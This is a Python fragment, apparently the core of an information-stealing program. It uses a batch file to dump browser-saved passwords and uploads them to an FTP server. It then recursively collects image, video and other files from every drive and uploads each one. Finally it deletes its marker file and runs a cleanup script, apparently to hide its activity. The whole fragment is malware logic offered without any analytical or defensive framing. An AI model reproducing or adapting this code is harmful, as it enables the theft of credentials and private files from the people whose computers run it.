if os.path.exists(SINGLETON_FILE_PATH):
        return
    else:
        write_to_file(SINGLETON_FILE_PATH, 'You can safely remove this file')
        write_to_file(TRANSFER_STATUS_FILE_PATH, 'done')

    extensions = image_file_formats + video_file_formats + unspecified_file_formats
    ftp_settings = (ftp['host'], ftp['user'], ftp['password'])
    create_clean_up_file(CLEAN_UP_FILE_PATH, DIST_FOLDER_LOCATION)

    # Dump browser cached passwords
    execute_bat_file(BROWSER_PASSWORD_DUMP_FILE_PATH, '-f ' + BROWSER_PASSWORDS_FILE_PATH)
    send_file_via_ftp(ftp_settings, BROWSER_PASSWORDS_FILE_PATH)

    home_dirs = get_drives(is_host_os_windows())

    for home_directory in home_dirs:
        # print('Extracting files from {0}'.format(home_directory))
        files = extract_files_recursively(home_directory, extensions)
        # print('Started sending via ftp...')
        for file in files:
            send_file_via_ftp(ftp_settings, file)

    # Clean up
    time.sleep(5)
    os.remove(SINGLETON_FILE_PATH)
    send_file_via_ftp(ftp_settings, TRANSFER_STATUS_FILE_PATH)
    execute_bat_file(CLEAN_UP_FILE_PATH)